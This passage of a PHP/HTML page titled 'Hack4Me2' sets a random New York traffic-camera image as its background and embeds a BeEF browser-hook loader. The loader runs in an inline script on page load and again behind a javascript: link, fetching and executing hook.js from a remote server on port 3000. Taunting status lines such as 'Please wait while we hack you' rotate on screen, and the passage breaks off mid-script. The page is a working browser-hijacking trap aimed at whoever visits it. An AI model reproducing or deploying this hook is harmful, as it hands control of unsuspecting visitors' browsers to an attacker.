'http://207.251.86.238/cctv/049.jpg', 'http://207.251.86.238/cctv/050.jpg', 'http://207.251.86.238/cctv/055.jpg', 'http://207.251.86.238/cctv/059.jpg', 'http://207.251.86.238/cctv/060.jpg', 'http://207.251.86.238/cctv/056.jpg', 'http://207.251.86.238/cctv/058.jpg', 'http://207.251.86.238/cctv/063.jpg', 'http://207.251.86.238/cctv/061.jpg', 'http://207.251.86.238/cctv/067.jpg', 'http://207.251.86.238/cctv/066.jpg', 'http://207.251.86.238/cctv/068.jpg', 'http://207.251.86.238/cctv/070.jpg', 'http://207.251.86.238/cctv/069.jpg', 'http://207.251.86.238/cctv/071.jpg', 'http://207.251.86.238/cctv/072.jpg', 'http://207.251.86.238/cctv/074.jpg', 'http://207.251.86.238/cctv/083.jpg', 'http://207.251.86.238/cctv/084.jpg', 'http://207.251.86.238/cctv/090.jpg', 'http://207.251.86.238/cctv/095.jpg', 'http://207.251.86.238/cctv/096.jpg', 'http://207.251.86.238/cctv/098.jpg', 'http://207.251.86.238/cctv/106.jpg', 'http://207.251.86.238/cctv/057.jpg', 'http://207.251.86.238/cctv/065.jpg', 'http://207.251.86.238/cctv/102.jpg', 'http://207.251.86.238/cctv/112.jpg', 'http://207.251.86.238/cctv/115.jpg', 'http://207.251.86.238/cctv/116.jpg', 'http://207.251.86.238/cctv/111.jpg', 'http://207.251.86.238/cctv/114.jpg', 'http://207.251.86.238/cctv/122.jpg', 'http://207.251.86.238/cctv/127.jpg', 'http://207.251.86.238/cctv/129.jpg', 'http://207.251.86.238/cctv/128.jpg', 'http://207.251.86.238/cctv/134.jpg', 'http://207.251.86.238/cctv/144.jpg', 'http://207.251.86.238/cctv/143.jpg', 'http://207.251.86.238/cctv/148.jpg', 'http://207.251.86.238/cctv/149.jpg', 'http://207.251.86.238/cctv/145.jpg', 'http://207.251.86.238/cctv/146.jpg', 'http://207.251.86.238/cctv/159.jpg', 'http://207.251.86.238/cctv/162.jpg', 'http://207.251.86.238/cctv/163.jpg', 'http://207.251.86.238/cctv/166.jpg', 'http://207.251.86.238/cctv/170.jpg', 'http://207.251.86.238/cctv/171.jpg', 'http://207.251.86.238/cctv/184.jpg', 'http://207.251.86.238/cctv/186.jpg', 'http://207.251.86.238/cctv/185.jpg', 'http://207.251.86.238/cctv/172.jpg', 'http://207.251.86.238/cctv/190.jpg', 'http://207.251.86.238/cctv/192.jpg', 'http://207.251.86.238/cctv/189.jpg', 'http://207.251.86.238/cctv/191.jpg', 'http://207.251.86.238/cctv/181.jpg', 'http://207.251.86.238/cctv/193.jpg', 'http://207.251.86.238/cctv/188.jpg', 'http://207.251.86.238/cctv/187.jpg', 'http://207.251.86.238/cctv/200.jpg', 'http://207.251.86.238/cctv/194.jpg', 'http://207.251.86.238/cctv/210.jpg', 'http://207.251.86.238/cctv/212.jpg', 'http://207.251.86.238/cctv/213.jpg', 'http://207.251.86.238/cctv/201.jpg', 'http://207.251.86.238/cctv/202.jpg', 'http://207.251.86.238/cctv/207.jpg', 'http://207.251.86.238/cctv/203.jpg', 'http://207.251.86.238/cctv/247.jpg', 'http://207.251.86.238/cctv/232.jpg', 'http://207.251.86.238/cctv/253.jpg', 'http://207.251.86.238/cctv/251.jpg', 'http://207.251.86.238/cctv/262.jpg', 'http://207.251.86.238/cctv/261.jpg', 'http://207.251.86.238/cctv/263.jpg', 'http://207.251.86.238/cctv/264.jpg', 'http://207.251.86.238/cctv/271.jpg', 'http://207.251.86.238/cctv/269.jpg', 'http://207.251.86.238/cctv/252.jpg', 'http://207.251.86.238/cctv/273.jpg', 'http://207.251.86.238/cctv/275.jpg', 'http://207.251.86.238/cctv/274.jpg', 'http://207.251.86.238/cctv/280.jpg', 'http://207.251.86.238/cctv/276.jpg', 'http://207.251.86.238/cctv/278.jpg', 'http://207.251.86.238/cctv/287.jpg', 'http://207.251.86.238/cctv/286.jpg', 'http://207.251.86.238/cctv/289.jpg', 'http://207.251.86.238/cctv/285.jpg', 'http://207.251.86.238/cctv/296.jpg', 'http://207.251.86.238/cctv/254.jpg', 'http://207.251.86.238/cctv/290.jpg', 'http://207.251.86.238/cctv/309.jpg', 'http://207.251.86.238/cctv/314.jpg', 'http://207.251.86.238/cctv/315.jpg', 'http://207.251.86.238/cctv/316.jpg', 'http://207.251.86.238/cctv/318.jpg', 'http://207.251.86.238/cctv/317.jpg', 'http://207.251.86.238/cctv/320.jpg', 'http://207.251.86.238/cctv/319.jpg', 'http://207.251.86.238/cctv/322.jpg', 'http://207.251.86.238/cctv/321.jpg', 'http://207.251.86.238/cctv/323.jpg', 'http://207.251.86.238/cctv/326.jpg', 'http://207.251.86.238/cctv/327.jpg', 'http://207.251.86.238/cctv/328.jpg', 'http://207.251.86.238/cctv/329.jpg', 'http://207.251.86.238/cctv/330.jpg', 'http://207.251.86.238/cctv/331.jpg', 'http://207.251.86.238/cctv/335.jpg', 'http://207.251.86.238/cctv/339.jpg', 'http://207.251.86.238/cctv/337.jpg', 'http://207.251.86.238/cctv/338.jpg', 'http://207.251.86.238/cctv/305.jpg', 'http://207.251.86.238/cctv/304.jpg', 'http://207.251.86.238/cctv/341.jpg', 'http://207.251.86.238/cctv/343.jpg', 'http://207.251.86.238/cctv/303.jpg', 'http://207.251.86.238/cctv/342.jpg', 'http://207.251.86.238/cctv/344.jpg', 'http://207.251.86.238/cctv/349.jpg', 'http://207.251.86.238/cctv/345.jpg', 'http://207.251.86.238/cctv/350.jpg', 'http://207.251.86.238/cctv/346.jpg', 'http://207.251.86.238/cctv/352.jpg', 'http://207.251.86.238/cctv/348.jpg', 'http://207.251.86.238/cctv/347.jpg', 'http://207.251.86.238/cctv/351.jpg', 'http://207.251.86.238/cctv/353.jpg', 'http://207.251.86.238/cctv/355.jpg', 'http://207.251.86.238/cctv/357.jpg', 'http://207.251.86.238/cctv/359.jpg', 'http://207.251.86.238/cctv/358.jpg', 'http://207.251.86.238/cctv/362.jpg', 'http://207.251.86.238/cctv/360.jpg', 'http://207.251.86.238/cctv/363.jpg', 'http://207.251.86.238/cctv/364.jpg', 'http://207.251.86.238/cctv/366.jpg', 'http://207.251.86.238/cctv/365.jpg', 'http://207.251.86.238/cctv/356.jpg', 'http://207.251.86.238/cctv/299.jpg', 'http://207.251.86.238/cctv/367.jpg', 'http://207.251.86.238/cctv/370.jpg', 'http://207.251.86.238/cctv/368.jpg', 'http://207.251.86.238/cctv/369.jpg', 'http://207.251.86.238/cctv/372.jpg', 'http://207.251.86.238/cctv/375.jpg', 'http://207.251.86.238/cctv/379.jpg', 'http://207.251.86.238/cctv/377.jpg', 'http://207.251.86.238/cctv/380.jpg', 'http://207.251.86.238/cctv/374.jpg', 'http://207.251.86.238/cctv/376.jpg', 'http://207.251.86.238/cctv/371.jpg', 'http://207.251.86.238/cctv/373.jpg', 'http://207.251.86.238/cctv/378.jpg', 'http://207.251.86.238/cctv/385.jpg', 'http://207.251.86.238/cctv/383.jpg', 'http://207.251.86.238/cctv/382.jpg', 'http://207.251.86.238/cctv/388.jpg', 'http://207.251.86.238/cctv/387.jpg', 'http://207.251.86.238/cctv/384.jpg', 'http://207.251.86.238/cctv/389.jpg', 'http://207.251.86.238/cctv/381.jpg', 'http://207.251.86.238/cctv/361.jpg', 'http://207.251.86.238/cctv/394.jpg', 'http://207.251.86.238/cctv/395.jpg', 'http://207.251.86.238/cctv/354.jpg', 'http://207.251.86.238/cctv/393.jpg', 'http://207.251.86.238/cctv/392.jpg', 'http://207.251.86.238/cctv/396.jpg', 'http://207.251.86.238/cctv/402.jpg', 'http://207.251.86.238/cctv/391.jpg', 'http://207.251.86.238/cctv/390.jpg', 'http://207.251.86.238/cctv/398.jpg', 'http://207.251.86.238/cctv/397.jpg', 'http://207.251.86.238/cctv/401.jpg', 'http://207.251.86.238/cctv/400.jpg', 'http://207.251.86.238/cctv/412.jpg', 'http://207.251.86.238/cctv/408.jpg', 'http://207.251.86.238/cctv/404.jpg', 'http://207.251.86.238/cctv/409.jpg', 'http://207.251.86.238/cctv/410.jpg', 'http://207.251.86.238/cctv/406.jpg', 'http://207.251.86.238/cctv/405.jpg', 'http://207.251.86.238/cctv/415.jpg', 'http://207.251.86.238/cctv/413.jpg', 'http://207.251.86.238/cctv/421.jpg', 'http://207.251.86.238/cctv/418.jpg', 'http://207.251.86.238/cctv/414.jpg', 'http://207.251.86.238/cctv/424.jpg', 'http://207.251.86.238/cctv/417.jpg', 'http://207.251.86.238/cctv/426.jpg', 'http://207.251.86.238/cctv/416.jpg', 'http://207.251.86.238/cctv/427.jpg', 'http://207.251.86.238/cctv/428.jpg', 'http://207.251.86.238/cctv/420.jpg', 'http://207.251.86.238/cctv/407.jpg', 'http://207.251.86.238/cctv/430.jpg', 'http://207.251.86.238/cctv/434.jpg', 'http://207.251.86.238/cctv/438.jpg', 'http://207.251.86.238/cctv/435.jpg', 'http://207.251.86.238/cctv/439.jpg', 'http://207.251.86.238/cctv/437.jpg', 'http://207.251.86.238/cctv/432.jpg', 'http://207.251.86.238/cctv/425.jpg', 'http://207.251.86.238/cctv/436.jpg', 'http://207.251.86.238/cctv/431.jpg', 'http://207.251.86.238/cctv/447.jpg', 'http://207.251.86.238/cctv/446.jpg', 'http://207.251.86.238/cctv/450.jpg', 'http://207.251.86.238/cctv/448.jpg', 'http://207.251.86.238/cctv/455.jpg', 'http://207.251.86.238/cctv/443.jpg', 'http://207.251.86.238/cctv/462.jpg', 'http://207.251.86.238/cctv/464.jpg', 'http://207.251.86.238/cctv/465.jpg', 'http://207.251.86.238/cctv/445.jpg', 'http://207.251.86.238/cctv/466.jpg', 'http://207.251.86.238/cctv/454.jpg', 'http://207.251.86.238/cctv/471.jpg', 'http://207.251.86.238/cctv/453.jpg', 'http://207.251.86.238/cctv/467.jpg', 'http://207.251.86.238/cctv/473.jpg', 'http://207.251.86.238/cctv/475.jpg', 'http://207.251.86.238/cctv/474.jpg', 'http://207.251.86.238/cctv/472.jpg', 'http://207.251.86.238/cctv/476.jpg', 'http://207.251.86.238/cctv/484.jpg', 'http://207.251.86.238/cctv/482.jpg', 'http://207.251.86.238/cctv/411.jpg', 'http://207.251.86.238/cctv/486.jpg', 'http://207.251.86.238/cctv/481.jpg', 'http://207.251.86.238/cctv/478.jpg', 'http://207.251.86.238/cctv/483.jpg', 'http://207.251.86.238/cctv/485.jpg', 'http://207.251.86.238/cctv/487.jpg', 'http://207.251.86.238/cctv/488.jpg', 'http://207.251.86.238/cctv/492.jpg', 'http://207.251.86.238/cctv/489.jpg', 'http://207.251.86.238/cctv/495.jpg', 'http://207.251.86.238/cctv/494.jpg', 'http://207.251.86.238/cctv/496.jpg', 'http://207.251.86.238/cctv/491.jpg', 'http://207.251.86.238/cctv/501.jpg', 'http://207.251.86.238/cctv/500.jpg', 'http://207.251.86.238/cctv/524.jpg', 'http://207.251.86.238/cctv/525.jpg', 'http://207.251.86.238/cctv/526.jpg', 'http://207.251.86.238/cctv/531.jpg', 'http://207.251.86.238/cctv/527.jpg', 'http://207.251.86.238/cctv/528.jpg', 'http://207.251.86.238/cctv/530.jpg', 'http://207.251.86.238/cctv/535.jpg', 'http://207.251.86.238/cctv/533.jpg', 'http://207.251.86.238/cctv/532.jpg', 'http://207.251.86.238/cctv/536.jpg', 'http://207.251.86.238/cctv/539.jpg', 'http://207.251.86.238/cctv/538.jpg', 'http://207.251.86.238/cctv/542.jpg', 'http://207.251.86.238/cctv/546.jpg', 'http://207.251.86.238/cctv/537.jpg', 'http://207.251.86.238/cctv/544.jpg', 'http://207.251.86.238/cctv/547.jpg', 'http://207.251.86.238/cctv/556.jpg', 'http://207.251.86.238/cctv/560.jpg', 'http://207.251.86.238/cctv/555.jpg', 'http://207.251.86.238/cctv/543.jpg', 'http://207.251.86.238/cctv/581.jpg', 'http://207.251.86.238/cctv/600.jpg', 'http://207.251.86.238/cctv/607.jpg', 'http://207.251.86.238/cctv/609.jpg', 'http://207.251.86.238/cctv/631.jpg', 'http://207.251.86.238/cctv/635.jpg', 'http://207.251.86.238/cctv/651.jpg', 'http://207.251.86.238/cctv/647.jpg', 'http://207.251.86.238/cctv/649.jpg', 'http://207.251.86.238/cctv/650.jpg', 'http://207.251.86.238/cctv/648.jpg', 'http://207.251.86.238/cctv/661.jpg', 'http://207.251.86.238/cctv/663.jpg', 'http://207.251.86.238/cctv/664.jpg', 'http://207.251.86.238/cctv/665.jpg', 'http://207.251.86.238/cctv/666.jpg', 'http://207.251.86.238/cctv/667.jpg', 'http://207.251.86.238/cctv/623.jpg', 'http://207.251.86.238/cctv/670.jpg', 'http://207.251.86.238/cctv/668.jpg', 'http://207.251.86.238/cctv/672.jpg', 'http://207.251.86.238/cctv/669.jpg', 'http://207.251.86.238/cctv/671.jpg', 'http://207.251.86.238/cctv/655.jpg', 'http://207.251.86.238/cctv/658.jpg', 'http://207.251.86.238/cctv/659.jpg', 'http://207.251.86.238/cctv/656.jpg', 'http://207.251.86.238/cctv/675.jpg', 'http://207.251.86.238/cctv/653.jpg', 'http://207.251.86.238/cctv/676.jpg', 'http://207.251.86.238/cctv/677.jpg', 'http://207.251.86.238/cctv/673.jpg', 'http://207.251.86.238/cctv/681.jpg', 'http://207.251.86.238/cctv/683.jpg', 'http://207.251.86.238/cctv/678.jpg', 'http://207.251.86.238/cctv/679.jpg', 'http://207.251.86.238/cctv/680.jpg', 'http://207.251.86.238/cctv/684.jpg', 'http://207.251.86.238/cctv/0003.jpg', 'http://207.251.86.238/cctv/0002.jpg', 'http://207.251.86.238/cctv/0005.jpg', 'http://207.251.86.238/cctv/0008.jpg', 'http://207.251.86.238/cctv/0009.jpg', 'http://207.251.86.238/cctv/0007.jpg', 'http://207.251.86.238/cctv/0004.jpg', 'http://207.251.86.238/cctv/0011.jpg', 'http://207.251.86.238/cctv/0001.jpg', 'http://207.251.86.238/cctv/0012.jpg', 'http://207.251.86.238/cctv/0010.jpg', 'http://207.251.86.238/cctv/0016.jpg', 'http://207.251.86.238/cctv/0019.jpg', 'http://207.251.86.238/cctv/0020.jpg', 'http://207.251.86.238/cctv/0023.jpg', 'http://207.251.86.238/cctv/0017.jpg', 'http://207.251.86.238/cctv/0024.jpg', 'http://207.251.86.238/cctv/0014.jpg', 'http://207.251.86.238/cctv/0015.jpg', 'http://207.251.86.238/cctv/0013.jpg', 'http://207.251.86.238/cctv/0018.jpg', 'http://207.251.86.238/cctv/0025.jpg', 'http://207.251.86.238/cctv/0029.jpg', 'http://207.251.86.238/cctv/0032.jpg', 'http://207.251.86.238/cctv/0033.jpg', 'http://207.251.86.238/cctv/0031.jpg', 'http://207.251.86.238/cctv/0028.jpg', 'http://207.251.86.238/cctv/0036.jpg', 'http://207.251.86.238/cctv/0035.jpg', 'http://207.251.86.238/cctv/0040.jpg', 'http://207.251.86.238/cctv/0038.jpg', 'http://207.251.86.238/cctv/0022.jpg', 'http://207.251.86.238/cctv/0043.jpg', 'http://207.251.86.238/cctv/0044.jpg', 'http://207.251.86.238/cctv/0048.jpg', 'http://207.251.86.238/cctv/0055.jpg', 'http://207.251.86.238/cctv/0049.jpg', 'http://207.251.86.238/cctv/0057.jpg', 'http://207.251.86.238/cctv/0059.jpg', 'http://207.251.86.238/cctv/0060.jpg', 'http://207.251.86.238/cctv/0058.jpg', 'http://207.251.86.238/cctv/0050.jpg', 'http://207.251.86.238/cctv/0063.jpg', 'http://207.251.86.238/cctv/0056.jpg', 'http://207.251.86.238/cctv/0061.jpg', 'http://207.251.86.238/cctv/0068.jpg', 'http://207.251.86.238/cctv/0065.jpg', 'http://207.251.86.238/cctv/0066.jpg', 'http://207.251.86.238/cctv/0069.jpg', 'http://207.251.86.238/cctv/0070.jpg', 'http://207.251.86.238/cctv/0067.jpg', 'http://207.251.86.238/cctv/0074.jpg', 'http://207.251.86.238/cctv/0083.jpg', 'http://207.251.86.238/cctv/0072.jpg', 'http://207.251.86.238/cctv/0095.jpg', 'http://207.251.86.238/cctv/0102.jpg', 'http://207.251.86.238/cctv/0096.jpg', 'http://207.251.86.238/cctv/0106.jpg', 'http://207.251.86.238/cctv/0090.jpg', 'http://207.251.86.238/cctv/0108.jpg', 'http://207.251.86.238/cctv/0071.jpg', 'http://207.251.86.238/cctv/0114.jpg', 'http://207.251.86.238/cctv/0115.jpg', 'http://207.251.86.238/cctv/0122.jpg', 'http://207.251.86.238/cctv/0127.jpg', 'http://207.251.86.238/cctv/0129.jpg', 'http://207.251.86.238/cctv/0128.jpg', 'http://207.251.86.238/cctv/0111.jpg', 'http://207.251.86.238/cctv/0136.jpg', 'http://207.251.86.238/cctv/0134.jpg', 'http://207.251.86.238/cctv/0116.jpg', 'http://207.251.86.238/cctv/0143.jpg', 'http://207.251.86.238/cctv/0112.jpg', 'http://207.251.86.238/cctv/0148.jpg', 'http://207.251.86.238/cctv/0146.jpg', 'http://207.251.86.238/cctv/0145.jpg', 'http://207.251.86.238/cctv/0144.jpg', 'http://207.251.86.238/cctv/0149.jpg', 'http://207.251.86.238/cctv/0159.jpg', 'http://207.251.86.238/cctv/0162.jpg', 'http://207.251.86.238/cctv/0163.jpg', 'http://207.251.86.238/cctv/0166.jpg', 'http://207.251.86.238/cctv/0170.jpg', 'http://207.251.86.238/cctv/0172.jpg', 'http://207.251.86.238/cctv/0181.jpg', 'http://207.251.86.238/cctv/0171.jpg', 'http://207.251.86.238/cctv/0175.jpg', 'http://207.251.86.238/cctv/0184.jpg', 'http://207.251.86.238/cctv/0178.jpg', 'http://207.251.86.238/cctv/0185.jpg', 'http://207.251.86.238/cctv/0188.jpg', 'http://207.251.86.238/cctv/0186.jpg', 'http://207.251.86.238/cctv/0192.jpg', 'http://207.251.86.238/cctv/0193.jpg', 'http://207.251.86.238/cctv/0187.jpg', 'http://207.251.86.238/cctv/0201.jpg', 'http://207.251.86.238/cctv/0200.jpg', 'http://207.251.86.238/cctv/0202.jpg', 'http://207.251.86.238/cctv/0194.jpg', 'http://207.251.86.238/cctv/0203.jpg', 'http://207.251.86.238/cctv/0207.jpg', 'http://207.251.86.238/cctv/0190.jpg', 'http://207.251.86.238/cctv/0191.jpg', 'http://207.251.86.238/cctv/0189.jpg', 'http://207.251.86.238/cctv/0210.jpg', 'http://207.251.86.238/cctv/0213.jpg', 'http://207.251.86.238/cctv/0253.jpg', 'http://207.251.86.238/cctv/0252.jpg', 'http://207.251.86.238/cctv/0251.jpg', 'http://207.251.86.238/cctv/0247.jpg', 'http://207.251.86.238/cctv/0254.jpg', 'http://207.251.86.238/cctv/0262.jpg', 'http://207.251.86.238/cctv/0261.jpg', 'http://207.251.86.238/cctv/0264.jpg', 'http://207.251.86.238/cctv/0263.jpg', 'http://207.251.86.238/cctv/0271.jpg', 'http://207.251.86.238/cctv/0269.jpg', 'http://207.251.86.238/cctv/0232.jpg', 'http://207.251.86.238/cctv/0273.jpg', 'http://207.251.86.238/cctv/0275.jpg', 'http://207.251.86.238/cctv/0276.jpg', 'http://207.251.86.238/cctv/0278.jpg', 'http://207.251.86.238/cctv/0274.jpg', 'http://207.251.86.238/cctv/0280.jpg', 'http://207.251.86.238/cctv/0277.jpg', 'http://207.251.86.238/cctv/0286.jpg', 'http://207.251.86.238/cctv/0285.jpg', 'http://207.251.86.238/cctv/0287.jpg', 'http://207.251.86.238/cctv/0289.jpg', 'http://207.251.86.238/cctv/0290.jpg', 'http://207.251.86.238/cctv/0296.jpg', 'http://207.251.86.238/cctv/0303.jpg', 'http://207.251.86.238/cctv/0304.jpg', 'http://207.251.86.238/cctv/0305.jpg', 'http://207.251.86.238/cctv/0309.jpg', 'http://207.251.86.238/cctv/0299.jpg', 'http://207.251.86.238/cctv/0315.jpg', 'http://207.251.86.238/cctv/0294.jpg', 'http://207.251.86.238/cctv/0316.jpg', 'http://207.251.86.238/cctv/0320.jpg', 'http://207.251.86.238/cctv/0323.jpg', 'http://207.251.86.238/cctv/0318.jpg', 'http://207.251.86.238/cctv/0321.jpg', 'http://207.251.86.238/cctv/0317.jpg', 'http://207.251.86.238/cctv/0319.jpg', 'http://207.251.86.238/cctv/0322.jpg', 'http://207.251.86.238/cctv/0326.jpg', 'http://207.251.86.238/cctv/0327.jpg', 'http://207.251.86.238/cctv/0328.jpg', 'http://207.251.86.238/cctv/0329.jpg', 'http://207.251.86.238/cctv/0330.jpg', 'http://207.251.86.238/cctv/0339.jpg', 'http://207.251.86.238/cctv/0335.jpg', 'http://207.251.86.238/cctv/0343.jpg', 'http://207.251.86.238/cctv/0337.jpg', 'http://207.251.86.238/cctv/0346.jpg', 'http://207.251.86.238/cctv/0341.jpg', 'http://207.251.86.238/cctv/0342.jpg', 'http://207.251.86.238/cctv/0350.jpg', 'http://207.251.86.238/cctv/0352.jpg', 'http://207.251.86.238/cctv/0345.jpg', 'http://207.251.86.238/cctv/0344.jpg', 'http://207.251.86.238/cctv/0354.jpg', 'http://207.251.86.238/cctv/0353.jpg', 'http://207.251.86.238/cctv/0355.jpg', 'http://207.251.86.238/cctv/0347.jpg', 'http://207.251.86.238/cctv/0361.jpg', 'http://207.251.86.238/cctv/0359.jpg', 'http://207.251.86.238/cctv/0360.jpg', 'http://207.251.86.238/cctv/0364.jpg', 'http://207.251.86.238/cctv/0357.jpg', 'http://207.251.86.238/cctv/0356.jpg', 'http://207.251.86.238/cctv/0362.jpg', 'http://207.251.86.238/cctv/0365.jpg', 'http://207.251.86.238/cctv/0366.jpg', 'http://207.251.86.238/cctv/0370.jpg', 'http://207.251.86.238/cctv/0358.jpg', 'http://207.251.86.238/cctv/0363.jpg', 'http://207.251.86.238/cctv/0369.jpg', 'http://207.251.86.238/cctv/0372.jpg', 'http://207.251.86.238/cctv/0367.jpg', 'http://207.251.86.238/cctv/0371.jpg', 'http://207.251.86.238/cctv/0368.jpg', 'http://207.251.86.238/cctv/0377.jpg', 'http://207.251.86.238/cctv/0378.jpg', 'http://207.251.86.238/cctv/0379.jpg', 'http://207.251.86.238/cctv/0349.jpg', 'http://207.251.86.238/cctv/0380.jpg', 'http://207.251.86.238/cctv/0374.jpg', 'http://207.251.86.238/cctv/0375.jpg', 'http://207.251.86.238/cctv/0376.jpg', 'http://207.251.86.238/cctv/0373.jpg', 'http://207.251.86.238/cctv/0381.jpg', 'http://207.251.86.238/cctv/0382.jpg', 'http://207.251.86.238/cctv/0385.jpg', 'http://207.251.86.238/cctv/0383.jpg', 'http://207.251.86.238/cctv/0391.jpg', 'http://207.251.86.238/cctv/0393.jpg', 'http://207.251.86.238/cctv/0387.jpg', 'http://207.251.86.238/cctv/0388.jpg', 'http://207.251.86.238/cctv/0389.jpg', 'http://207.251.86.238/cctv/0390.jpg', 'http://207.251.86.238/cctv/0392.jpg', 'http://207.251.86.238/cctv/0394.jpg', 'http://207.251.86.238/cctv/0395.jpg', 'http://207.251.86.238/cctv/0396.jpg', 'http://207.251.86.238/cctv/0384.jpg', 'http://207.251.86.238/cctv/0398.jpg', 'http://207.251.86.238/cctv/0406.jpg', 'http://207.251.86.238/cctv/0407.jpg', 'http://207.251.86.238/cctv/0408.jpg', 'http://207.251.86.238/cctv/0409.jpg', 'http://207.251.86.238/cctv/0410.jpg', 'http://207.251.86.238/cctv/0411.jpg', 'http://207.251.86.238/cctv/0412.jpg', 'http://207.251.86.238/cctv/0413.jpg', 'http://207.251.86.238/cctv/0414.jpg', 'http://207.251.86.238/cctv/0397.jpg', 'http://207.251.86.238/cctv/0415.jpg', 'http://207.251.86.238/cctv/0416.jpg', 'http://207.251.86.238/cctv/0417.jpg', 'http://207.251.86.238/cctv/0418.jpg', 'http://207.251.86.238/cctv/0401.jpg', 'http://207.251.86.238/cctv/0420.jpg', 'http://207.251.86.238/cctv/0400.jpg', 'http://207.251.86.238/cctv/0421.jpg', 'http://207.251.86.238/cctv/0425.jpg', 'http://207.251.86.238/cctv/0426.jpg', 'http://207.251.86.238/cctv/0403.jpg', 'http://207.251.86.238/cctv/0427.jpg', 'http://207.251.86.238/cctv/0405.jpg', 'http://207.251.86.238/cctv/0430.jpg', 'http://207.251.86.238/cctv/0431.jpg', 'http://207.251.86.238/cctv/0428.jpg', 'http://207.251.86.238/cctv/0404.jpg', 'http://207.251.86.238/cctv/0436.jpg', 'http://207.251.86.238/cctv/0439.jpg', 'http://207.251.86.238/cctv/0435.jpg', 'http://207.251.86.238/cctv/0438.jpg', 'http://207.251.86.238/cctv/0440.jpg', 'http://207.251.86.238/cctv/0443.jpg', 'http://207.251.86.238/cctv/0441.jpg', 'http://207.251.86.238/cctv/0424.jpg', 'http://207.251.86.238/cctv/0442.jpg', 'http://207.251.86.238/cctv/0444.jpg', 'http://207.251.86.238/cctv/0402.jpg', 'http://207.251.86.238/cctv/0450.jpg', 'http://207.251.86.238/cctv/0448.jpg', 'http://207.251.86.238/cctv/0453.jpg', 'http://207.251.86.238/cctv/0432.jpg', 'http://207.251.86.238/cctv/0455.jpg', 'http://207.251.86.238/cctv/0454.jpg', 'http://207.251.86.238/cctv/0456.jpg', 'http://207.251.86.238/cctv/0447.jpg', 'http://207.251.86.238/cctv/0437.jpg', 'http://207.251.86.238/cctv/0458.jpg', 'http://207.251.86.238/cctv/0446.jpg', 'http://207.251.86.238/cctv/0466.jpg', 'http://207.251.86.238/cctv/0445.jpg', 'http://207.251.86.238/cctv/0465.jpg', 'http://207.251.86.238/cctv/0474.jpg', 'http://207.251.86.238/cctv/0471.jpg', 'http://207.251.86.238/cctv/0472.jpg', 'http://207.251.86.238/cctv/0476.jpg', 'http://207.251.86.238/cctv/0467.jpg', 'http://207.251.86.238/cctv/0464.jpg', 'http://207.251.86.238/cctv/0475.jpg', 'http://207.251.86.238/cctv/0483.jpg', 'http://207.251.86.238/cctv/0485.jpg', 'http://207.251.86.238/cctv/0486.jpg', 'http://207.251.86.238/cctv/0487.jpg', 'http://207.251.86.238/cctv/0488.jpg', 'http://207.251.86.238/cctv/0489.jpg', 'http://207.251.86.238/cctv/0490.jpg', 'http://207.251.86.238/cctv/0491.jpg', 'http://207.251.86.238/cctv/0492.jpg', 'http://207.251.86.238/cctv/0484.jpg', 'http://207.251.86.238/cctv/0493.jpg', 'http://207.251.86.238/cctv/0434.jpg', 'http://207.251.86.238/cctv/0495.jpg', 'http://207.251.86.238/cctv/0494.jpg', 'http://207.251.86.238/cctv/0496.jpg', 'http://207.251.86.238/cctv/0481.jpg', 'http://207.251.86.238/cctv/0482.jpg', 'http://207.251.86.238/cctv/0501.jpg', 'http://207.251.86.238/cctv/0478.jpg', 'http://207.251.86.238/cctv/0500.jpg', 'http://207.251.86.238/cctv/0519.jpg', 'http://207.251.86.238/cctv/0551.jpg', 'http://207.251.86.238/cctv/0569.jpg', 'http://207.251.86.238/cctv/0556.jpg', 'http://207.251.86.238/cctv/0625.jpg', 'http://207.251.86.238/cctv/0626.jpg', 'http://207.251.86.238/cctv/0647.jpg', 'http://207.251.86.238/cctv/0644.jpg', 'http://207.251.86.238/cctv/0649.jpg', 'http://207.251.86.238/cctv/0651.jpg', 'http://207.251.86.238/cctv/0650.jpg', 'http://207.251.86.238/cctv/0653.jpg', 'http://207.251.86.238/cctv/0655.jpg', 'http://207.251.86.238/cctv/0656.jpg', 'http://207.251.86.238/cctv/0658.jpg', 'http://207.251.86.238/cctv/0659.jpg', 'http://207.251.86.238/cctv/0661.jpg', 'http://207.251.86.238/cctv/0663.jpg', 'http://207.251.86.238/cctv/0664.jpg', 'http://207.251.86.238/cctv/0667.jpg', 'http://207.251.86.238/cctv/0665.jpg', 'http://207.251.86.238/cctv/0666.jpg', 'http://207.251.86.238/cctv/0669.jpg', 'http://207.251.86.238/cctv/0672.jpg', 'http://207.251.86.238/cctv/0671.jpg', 'http://207.251.86.238/cctv/0673.jpg', 'http://207.251.86.238/cctv/0668.jpg', 'http://207.251.86.238/cctv/0675.jpg', 'http://207.251.86.238/cctv/0676.jpg', 'http://207.251.86.238/cctv/0677.jpg', 'http://207.251.86.238/cctv/0670.jpg', 'http://207.251.86.238/cctv/0634.jpg', 'http://207.251.86.238/cctv/0639.jpg', ); // array of filenames $i = rand(0, count($bg)-1); // generate random number size of the array $selectedBg = "$bg[$i]"; // set variable equal to which random filename was chosen ?> <!DOCTYPE html> <html> <head> <title>Hack4Me2</title> <style type="text/css"> <!-- body{ background: url(<?php echo $selectedBg; ?>) no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; background-size: cover; } --> </style> </head> <body> <p style="text-align: center;"> </p> <p style="text-align: center;"><span style="font-size: xx-large;"><a href="javascript:%20(function%20()%20{%20var%20url%20=%20%27http:%2f%2f0.0.0.0:3000%2fhook.js%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();">Hack4Me2</a></span></p> <p style="text-align: center;"><span id="msg" style="font-size: large; color:white">Please stand by...</span></p> <p style="text-align: center;"><noscript>You are safe from browser hijacking.</noscript> <script type="text/javascript">// <![CDATA[ (function () { var url = 'http://0.0.0.0:3000/hook.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})(); var statuses = ["Hacking is fun!!!", "Test the security of your browser!!!", "Are you feeling secure?", "I can see you.", "Did you hear anything?", "You are currently vulnerable.", "CICADA3301 was here.", "Please wait while we hack you.", "Dynamic text is fun!", "Hack away!!!", "Get the tor browser from the tor project.", "Hidden are the clues.", "Will you find the answer?", "There is more?", "Your information will never be disclosed.", "Enter the Konami code into your search engine, I dare you.", "The world is like a lemon once we squeez it dry it won't be that attractive.", "The background is made up of live New York traffic feeds.", "684-711", "Learn from your mistakes.",]; var loadingtimer = window.setInterval(function() { var status = 